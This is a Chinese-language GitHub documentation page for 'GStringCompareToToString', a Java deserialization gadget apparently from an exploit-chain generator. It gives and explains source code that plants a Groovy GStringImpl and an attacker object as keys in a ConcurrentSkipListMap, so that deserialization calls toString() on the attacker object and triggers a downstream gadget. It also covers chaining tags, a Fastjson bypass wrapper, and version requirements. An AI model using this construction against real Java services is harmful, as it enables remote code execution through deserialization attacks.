Skip to content

Latest commit

 

History

History
82 lines (72 loc) · 5.74 KB

File metadata and controls

82 lines (72 loc) · 5.74 KB

GString compareTo 调用toString(GStringCompareToToString)

  • 类别:common 别名:— 优先级:未设置(null)
  • 作者:—
  • 依赖org.codehaus.groovy:groovy:2.4.3

作用

一个「toString 跳板」构件:构造一棵以 GStringImpl 为 key 的 ConcurrentSkipListMap,使其在 Java 原生反序列化(ConcurrentSkipListMap.readObject)重建跳表时对相邻节点 key 调用 compareToGStringImpl.compareTo 内部会对参数对象调用 toString(),从而把执行流交给下游任意「暴露危险 toString」的 gadget。是不依赖 commons-collections 的 toString 型入口。

链接标签

  • 入口 tagsJavaNativeDeserialize —— 承接 Java 原生反序列化入口(作为最外层,直接交给 ObjectInputStream)。
  • 衔接 nextTagsToString —— 内层须为一个「其 toString() 会触发危险行为」的 gadget(如各类 *ToString / JSON toString 跳板)。
  • excludes:无。

源码剖析

核心 getObject 构造被污染的跳表:

public Object getObject(Object toStringObj) throws Exception {
    GStringImpl gString = createGString();                       // 构造一个"干净"的 GStringImpl
    ConcurrentSkipListMap<GStringImpl, String> map = new ConcurrentSkipListMap<>();
    map.put(new GStringImpl(new Object[0], new String[]{"1"}), "1");   // 先放两个无害元素
    map.put(new GStringImpl(new Object[0], new String[]{"2"}), "2");
    Object head = Reflections.getFieldValue(map, "head");        // 反射走到底层链表节点
    Object node = Reflections.getFieldValue(head, "node");
    Object first = Reflections.getFieldValue(node, "next");
    Object second = first == null ? null : Reflections.getFieldValue(first, "next");
    if (first != null) {
        Reflections.setFieldValue(first, "key", gString);        // 第一个节点 key 换成 GStringImpl
    }
    if (second != null) {
        Reflections.setFieldValue(second, "key", toStringObj);   // 第二个节点 key 换成攻击对象
    }
    return map;
}

逐段解释:

  • 先用两个正常的 GStringImpl("1")/("2") put 进 map,让跳表建立起 head → node → next → next 的底层节点结构,避免直接反射构造节点。
  • 通过 Reflections.getFieldValue 依次读取 headnodenext,定位跳表最底层链表的前两个数据节点 firstsecond
  • setFieldValue(first, "key", gString):把第一个节点的 key 替换为一个刻意构造的 GStringImpl(比较发起方);setFieldValue(second, "key", toStringObj):第二个节点 key 换成真正的攻击对象。反序列化时跳表按顺序对相邻 key 调用 first.key.compareTo(second.key),即 GStringImpl.compareTo(toStringObj),其内部会 toStringObj.toString(),触发下游。

createGString 通过反射绕过构造并清空缓存,确保比较时不走短路:

private static GStringImpl createGString() throws Exception {
    GStringImpl gString = Reflections.createWithoutConstructor(GStringImpl.class);
    Reflections.setFieldValue(gString, "strings", new String[]{"", ""});
    Reflections.setFieldValue(gString, "values", new Object[]{""});
    resetGStringCache(gString);   // 清空 cachedString/string/value(不同 2.4.x 小版本字段名不一)
    resetGStringHash(gString);    // 清空 hash/hashCode,避免比较前提前物化字符串
    return gString;
}

resetGStringCache / resetGStringHashReflections.has 逐字段判断存在与否再清零,兼容 groovy 2.4.x 各小版本 GStringImpl 字段差异,保证 compareTo 真正走到 toString

invoke 组织内层对象并处理 Fastjson 旁路:

public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    Object object = chain.doCreate(context);                              // 内层 ToString gadget
    Object getterObject = context.get(ContextTag.FASTJSON_HANDLE_BYPASS_KEY);
    Object resultObject = this.getObject(object);
    if (getterObject != null) {
        return CommonMethod.listWrap(getterObject, resultObject);        // 需要时用 List 包裹
    }
    return resultObject;
}

chain.doCreate 得到内层「toString sink」对象作为 toStringObj;若上下文里存在 FASTJSON_HANDLE_BYPASS_KEY,用 CommonMethod.listWrap 把额外对象与结果一并包进 List(用于绕过某些处理),否则直接返回构造好的 map。头部 Could not load ... GStringImpl 为缺 groovy 依赖的正常提示。

参数(@Param)

本类无 @Param。内层 toString 目标由链提供,Fastjson 旁路对象由上下文 FASTJSON_HANDLE_BYPASS_KEY 决定是否包裹。

适用版本与原理要点

  • 依赖 org.codehaus.groovy:groovy:2.4.3GStringImpl 位于 org.codehaus.groovy.runtime)。
  • 关键版本约束:入口为 ConcurrentSkipListMap.readObject,其在反序列化重建时对 key 调用 compareTo 的行为需 JDK 11+ 才稳定触发(见 description);低版本 JDK 该路径不成立。
  • GStringImpl.compareTo → toString 把「比较」转成「toString」,是继 BadAttributeValueExpExceptionXString 之外的又一 toString 触发点,且不依赖 commons-collections。
  • 需下游提供一个 toString 会产生危险副作用的 gadget 才能形成完整链。

所属预设链

无。自由构件,未直接出现在 51 条预设链中(作为 toString 型入口可与各 *ToString sink 手动组合)。

关联

  • 内层(nextTags=ToString):各类 toString 跳板,如 BadAttributeValueExpExceptionToStringJacksonToStringFastjsonToString1 等。
  • 同族 toString 入口:TextAndMnemonicHashMapToStringEventListenerListToString 等。